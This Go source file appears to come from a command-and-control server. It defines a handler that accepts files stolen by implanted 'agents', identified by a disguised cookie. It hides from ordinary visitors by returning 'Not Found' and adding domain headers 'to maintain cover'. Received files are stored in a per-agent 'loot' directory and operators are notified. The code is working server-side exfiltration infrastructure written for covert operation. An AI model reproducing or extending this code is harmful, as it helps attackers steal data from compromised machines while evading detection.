package main

import (
	"fmt"
	"io"
	"log"
	"net/http"
	"os"
	"path/filepath"
	"strings"
)

// Modified handleFileUpload handles file upload from agent with URL decoding
func handleFileUpload(w http.ResponseWriter, r *http.Request) {
	// Only allow POST requests
	if r.Method != "POST" {
		http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
		return
	}

	// Get domain and profile
	domain := getDomain(r)
	profile := getProfileForDomain(domain)

	// Verify this is an agent communication
	if !IdentifyAgent(r) {
		log.Printf("Non-agent attempted file upload from %s", r.RemoteAddr)
		// Serve normal content to maintain cover
		http.Error(w, "Not Found", http.StatusNotFound)
		return
	}

	log.Printf("[+] File upload request from agent at %s", r.RemoteAddr)

	// Extract message from cookie
	message := ""
	cookies := r.Cookies()
	found := false

	for _, cookie := range cookies {
		if cookie.Name == profile.MessageCookieName {
			// URL decode the cookie value to handle special characters
			decodedValue, err := urlDecode(cookie.Value)
			if err != nil {
				log.Printf("Failed to decode cookie value: %v", err)
				continue
			}
			message = decodedValue
			log.Printf("[+] Upload message cookie found (decoded): %s", message)
			found = true
			break
		}
	}

	if !found {
		log.Printf("No message cookie found in upload request from %s", r.RemoteAddr)
		// Debug: Print all available cookies
		log.Printf("Available cookies:")
		for _, cookie := range cookies {
			log.Printf("  %s: %s", cookie.Name, cookie.Value)
		}
		http.Error(w, "Bad Request", http.StatusBadRequest)
		return
	}

	// Parse the message to get agent ID and file info
	messageParts := strings.SplitN(message, "~", 4)
	if len(messageParts) < 3 {
		log.Printf("Invalid upload message format from %s: %s", r.RemoteAddr, message)
		http.Error(w, "Bad Request", http.StatusBadRequest)
		return
	}

	agentID := messageParts[0]
	messageType := messageParts[1] // Should be "FILE"
	fileName := messageParts[2]

	if messageType != "FILE" {
		log.Printf("Invalid message type for file upload: %s", messageType)
		http.Error(w, "Bad Request", http.StatusBadRequest)
		return
	}

	// Extract just the filename from the full path for saving
	// Handle both forward and backward slashes
	baseName := fileName
	if strings.Contains(fileName, "\\") {
		parts := strings.Split(fileName, "\\")
		baseName = parts[len(parts)-1]
	} else if strings.Contains(fileName, "/") {
		parts := strings.Split(fileName, "/")
		baseName = parts[len(parts)-1]
	}

	log.Printf("[+] File upload from agent %s, original path: %s, saving as: %s", agentID, fileName, baseName)

	// Create uploads directory if it doesn't exist
	uploadsDir := fmt.Sprintf("loot/%s", agentID)
	if err := os.MkdirAll(uploadsDir, 0755); err != nil {
		log.Printf("Failed to create uploads directory: %v", err)
		http.Error(w, "Internal Server Error", http.StatusInternalServerError)
		return
	}

	// Create the file using the base name
	filePath := filepath.Join(uploadsDir, baseName)
	outFile, err := os.Create(filePath)
	if err != nil {
		log.Printf("Failed to create file %s: %v", filePath, err)
		http.Error(w, "Internal Server Error", http.StatusInternalServerError)
		return
	}
	defer outFile.Close()

	// Copy the request body (file data) to the file
	bytesWritten, err := io.Copy(outFile, r.Body)
	if err != nil {
		log.Printf("Failed to write file data: %v", err)
		http.Error(w, "Internal Server Error", http.StatusInternalServerError)
		return
	}

	logMessage := fmt.Sprintf("File uploaded from agent %s: %s -> %s (%d bytes)", agentID, fileName, baseName, bytesWritten)
	log.Print(logMessage)
	SendMessageToAllOperators(logMessage)

	// Add domain-specific headers to maintain cover
	addDomainHeaders(w, profile)

	// Send success response
	w.WriteHeader(http.StatusOK)
	w.Write([]byte("Upload successful"))

	log.Printf("[+] File upload completed: %s", filePath)
}
